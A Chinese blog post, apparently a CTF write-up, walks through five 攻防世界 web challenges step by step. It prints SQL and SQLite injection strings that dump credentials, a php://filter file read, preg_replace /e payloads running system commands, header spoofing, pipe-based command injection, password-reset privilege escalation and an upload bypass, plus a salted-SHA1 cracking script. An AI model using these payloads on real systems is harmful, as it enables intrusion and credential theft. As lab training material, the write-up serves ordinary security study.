欢迎您访问程序员文章站本站旨在为大家提供分享程序员计算机编程知识!
您现在的位置是: 首页

攻防世界web进阶区21-25题 write up

程序员文章站 2022-05-16 19:54:40
...

21-25题writeup

21、ics-04(sql注入+业务逻辑漏洞)

1、刚开始创建了一个账户密码都是test的用户,登录进去,结果却显示下面的内容。普通用户没有用,那就尝试寻找管理员账户了。
攻防世界web进阶区21-25题 write up

2、然后又在登录、注册页面、密码找回页面尝试一下sql注入,最终在密码找回页面找到sql注入。
3、输入test’ and 1=1# ,显示如下:
攻防世界web进阶区21-25题 write up

4、输入test’ and 1=2# ,显示如下(证明这里存在sql注入)。

攻防世界web进阶区21-25题 write up

5、接下来开始猜解字段数:test’ order by 1# ,直到5的时候,出现没有这个用户,证明存在四个字段。
攻防世界web进阶区21-25题 write up

6、确认字段的顺序:test’ union select 1,2,3,4# , 是出现在第三个字段上。
攻防世界web进阶区21-25题 write up

7、爆数据库:1’ union select 1,2,group_concat(schema_name),4 from information_schema.schemata#,得到数据库为:cetc004 。

攻防世界web进阶区21-25题 write up

8、爆表名:1’ union select 1,2,group_concat(table_name),4 from information_schema.tables where table_schema = ‘cetc004’#,得到表名为:user 。
攻防世界web进阶区21-25题 write up

9、爆列名:1’ union select 1,2,group_concat(column_name),4 from information_schema.columns where table_name = ‘user’#,可以看到前面两列username,password应该就是我们要寻找的了。
攻防世界web进阶区21-25题 write up

10、获取账户名数据:1’ union select 1,2,group_concat(username),4 from cetc004.user#,得到两个账户名,一个原来的账户名和一个刚才我注册的账户名,那原来的账户名就是我们要寻找的管理员用户名了:c3tlwDmln23 。
攻防世界web进阶区21-25题 write up
11、获取密码:1’ union select 1,2,group_concat(password),4 from cetc004.user# ,得到两个长字符串,那第二个就是我们注册时test账户的密码,这里我们需要的是第一个字符串。

攻防世界web进阶区21-25题 write up

12、解密,得到一个undefined。

攻防世界web进阶区21-25题 write up
13、但是登录却怎么登不上去,原来是字符串时不能解密的,那现在没有密码了,只有账户名也没用了
14、想了很久才想起题目的提示是:登录和注册页面存在漏洞。既然是这样,又回到注册页面,尝试把我们得到的管理员的账户名再注册一次,果然,密码重置了,然后用 c3tlwDmln23和我们的重置后的密码登录,直接得到flag。

攻防世界web进阶区21-25题 write up
flag:cyberpeace{7df5aecc56bedb0e3ea36bae6d07fe15}

22、ics-05(文件包含+preg_replace函数漏洞)

本题参考文章:https://blog.csdn.net/vhkjhwbs/article/details/101448932

1、进来一看,似乎只有设备维护中心可以点击进入,进来如下,设备列表都不完整。
攻防世界web进阶区21-25题 write up

2、查看源代码,有如下的一个关键信息。
攻防世界web进阶区21-25题 write up

3、在url后面加上?page=index,果然多了点东西,会显出了page的值。
攻防世界web进阶区21-25题 write up

4、那先考虑 文件包含,构造payload:?page=php://filter/read=convert.base64-encode/resource=index.php,出现了下面的一串字符串。
攻防世界web进阶区21-25题 write up

5、经过base64编码解码之后,得到一篇源代码(由于源码有点多,只展示了对本题有关键信息的一部分),如下:

<?php
//方便的实现输入输出的功能,正在开发中的功能,只能内部人员测试
if ($_SERVER['HTTP_X_FORWARDED_FOR'] === '127.0.0.1') {
    echo "<br >Welcome My Admin ! <br >";
    $pattern = $_GET[pat];
    $replacement = $_GET[rep];
    $subject = $_GET[sub];
    if (isset($pattern) && isset($replacement) && isset($subject)) {
        preg_replace($pattern, $replacement, $subject);
    }else{
        die();
    }
}
?>

6、代码审计:

  • 满足X-forwarded-for:127.0.0.1
  • preg_replace函数:以GET方法传入pat、rep、sub三个参数,这三个参数的值分别作为preg_replace()函数的参数。然后在subject中搜索与pattern匹配的部分,然后用replacement来替换该部分。
  • preg_replace函数使用/e模式导致代码执行出现问题。只要subject的值和pattern的值一样,preg_replace的代码就会被执行。

7、抓包,构造payload:?pat=/.*/e&rep=system(‘ls’)&sub=aa,修改X-forwarded-for的值,获取到目录文件。
攻防世界web进阶区21-25题 write up

8、进入到目标文件中。

  • ?pat=/.*/e&rep=system(‘ls+s3chahahaDir’)&sub=aa
  • ?pat=/.*/e&rep=system(‘ls+s3chahahaDir/flag’)&sub=aa
    攻防世界web进阶区21-25题 write up
    攻防世界web进阶区21-25题 write up

9、使用cat查看文件。

  • ?pat=/.*/e&rep=system(‘cat+s3chahahaDir/flag/flag.php’)&sub=aa

攻防世界web进阶区21-25题 write up

flag:cyberpeace{7587f1b2b5d4c136f421e759caa34db3}

preg_replace函数

  • preg_replace()函数:执行一个正则表达式的搜索和替换。
  • 语法: preg_replace (pattern,pattern,replacement, $subject)
  • 搜索 subject 中匹配 pattern 的部分, 以 replacement 进行替换。
    $pattern:要搜索的模式,可以是字符串或一个字符串数组。
    $replacement: 用于替换的字符串或字符串数组。
    $subject: 要搜索替换的目标字符串或字符串数组。

23、FlatScience(sqlite数据库注入+sha1函数)

本题目参考文章:https://www.optbbs.com/thread-4993109-1-139.html

1、进去会让下载pdf文件(在最后需要用到这些文件)。
2、御剑扫描一下后台目录,得到4个,index.html原来就知道,然后访问一下robots.txt,这个里面也指向admin.php和login.php
攻防世界web进阶区21-25题 write up

2、访问admin.php,没什么收获,点击查看源代码,得到了一点提示。
攻防世界web进阶区21-25题 write up
攻防世界web进阶区21-25题 write up

3、访问login.php,查看源代码,得到一下提示。
攻防世界web进阶区21-25题 write up
攻防世界web进阶区21-25题 write up

4、在login.php页面的url后面上?debug , 得到了一篇源码,整理如下所示:

<?php
if(isset($_POST['usr']) && isset($_POST['pw'])){
        $user = $_POST['usr'];
        $pass = $_POST['pw'];
        $db = new SQLite3('../fancy.db');
        $res = $db->query("SELECT id,name from Users where name='".$user."' and password='".sha1($pass."Salz!")."'");
    if($res){
        $row = $res->fetchArray();
    }
    else{
        echo "<br>Some Error occourred!";
    }
    if(isset($row['id'])){
            setcookie('name',' '.$row['name'], time() + 60, '/');
            header("Location: /");
            die();
    }
}
if(isset($_GET['debug']))
highlight_file('login.php');
?>

6、然后尝试了一下sql注入,输入:admin’ union select database; , 发现如下,得到数据库为sqlite数据库。
攻防世界web进阶区21-25题 write up

7、抓包,构造payload:usr=’ union select name,sql from sqlite_master–+&pw=123 , 得到:
从图中可以看到,有一个表,表中有name,password,hint三列信息。
攻防世界web进阶区21-25题 write up

8、构造payload:usr=%27 UNION SELECT id, id from Users limit 0,1–+&pw=chybeta , 得到:
攻防世界web进阶区21-25题 write up

9、构造payload:usr=%27 UNION SELECT id, name from Users limit 0,1–+&pw=chybeta , 得到:
攻防世界web进阶区21-25题 write up

10、构造payload:usr=%27 UNION SELECT id, password from Users limit 0,1–+&pw=chybeta ,得到:
攻防世界web进阶区21-25题 write up

11、usr=%27 UNION SELECT id, hint from Users limit 0,1–+&pw=chybeta ,得到:
根据此图,可以知道flag不在其中,flag是在作者喜欢的文件中,但是文件太多了,我们怎么知道作者喜欢哪一个?又该怎么去寻找呢?前面我们有查到密码:3fab54a50e770d830c0416df817567662a9dc85c,这可能是文件的哈希值,
攻防世界web进阶区21-25题 write up

12、而且源码中有提到对密码进行了sha1,那么可以使用脚本进行处理得到密码。

from cStringIO import StringIO
from pdfminer.pdfinterp import PDFResourceManager, PDFPageInterpreter
from pdfminer.converter import TextConverter
from pdfminer.layout import LAParams
from pdfminer.pdfpage import PDFPage
import sys
import string
import os
import hashlib

def get_pdf():
    return [i for i in os.listdir("./") if i.endswith("pdf")]

def convert_pdf_2_text(path):
    rsrcmgr = PDFResourceManager()
    retstr = StringIO()
    device = TextConverter(rsrcmgr, retstr, codec='utf-8', laparams=LAParams())
    interpreter = PDFPageInterpreter(rsrcmgr, device)
    with open(path, 'rb') as fp:
        for page in PDFPage.get_pages(fp, set()):
            interpreter.process_page(page)
        text = retstr.getvalue()
    device.close()
    retstr.close()
    return text

def find_password():
    pdf_path = get_pdf()
    for i in pdf_path:
        print("Searching word in " + i)
        pdf_text = convert_pdf_2_text(i).split(" ")
        for word in pdf_text:
            sha1_password = hashlib.sha1(word+"Salz!").hexdigest()
            if sha1_password == '3fab54a50e770d830c0416df817567662a9dc85c':
                print("Find the password :" + word)
                exit()

if __name__ == "__main__":
    find_password()

得到密码为:ThinJerboa

12、然后再admin.php页面输入密码登录,直接得到flag。
攻防世界web进阶区21-25题 write up

flag{Th3_Fl4t_Earth_Prof_i$_n0T_so_Smart_huh?}

24、Cat(宽字节注入)

本题参考文章:https://www.cnblogs.com/chrysanthemum/p/11480150.html

1、题目提示:抓住那只猫。点击进入,页面下显示如下:
攻防世界web进阶区21-25题 write up

2、输入:baidu.com,但是没有感觉到一点反应,输入其他的域名也是一样,最后输入localhost,显示如下:可以看出执行的是一个ping命令。
攻防世界web进阶区21-25题 write up

3、然后再执行:127.0.0.1|ls、127.0.0.1|dir,但是却显示如下,好像是被屏蔽了,
攻防世界web进阶区21-25题 write up

4、经过fuzz模糊测试之后,得到@没有被过滤。
5、然后构造payload:/index.php?url=%BF,访问得到一片很长很长的源码。
攻防世界web进阶区21-25题 write up

6、把源码复制出来,重新建立一个html文件,然后用浏览器打开。然后在POST和FILES这两行的末尾可以得到flag。
攻防世界web进阶区21-25题 write up
攻防世界web进阶区21-25题 write up

WHCTF{aaa@qq.com}

25、bug(越权+文件上传)

1、进去提示要先登录,然后点击Register去注册一个账户test,密码test。
攻防世界web进阶区21-25题 write up

2、注册成功会显示下面的内容。
攻防世界web进阶区21-25题 write up

3、然后登录账户,但是Manage选项显示要admin账户才可以查看。
攻防世界web进阶区21-25题 write up

4、既然要我们登录,但是又要admin账户才可以,但是我们不知道密码,抱着尝试一下的心态,尝试一下越权:重置我们注册的账户的密码,抓包拦截,把username改为admin,居然成功了。那无疑就是越权漏洞了。
攻防世界web进阶区21-25题 write up

5、登陆admin账户,查看Manage选项,显示: IP Not allowed!
攻防世界web进阶区21-25题 write up
攻防世界web进阶区21-25题 write up

6、那就构造一个IP吧,抓包修改:X-Forwarded-For:127.0.0.1 。
攻防世界web进阶区21-25题 write up
7、但是也没有flag,查看源代码,提示:index.php?module=filemanage&do=??? 。
攻防世界web进阶区21-25题 write up
攻防世界web进阶区21-25题 write up

8、最后尝试出来是文件上传,payload:index.php?module=filemanage&do=upload 。
攻防世界web进阶区21-25题 write up

9、经过多次的尝试,报错之后的提示,知道和谐了php,检查content-type和filename文件后缀名。最后成功绕过,直接得到flag。
攻防世界web进阶区21-25题 write up
攻防世界web进阶区21-25题 write up

flag:cyberpeace{16dbdc5b98172be3ab8365c09de995a6}

相关标签: CTF习题write up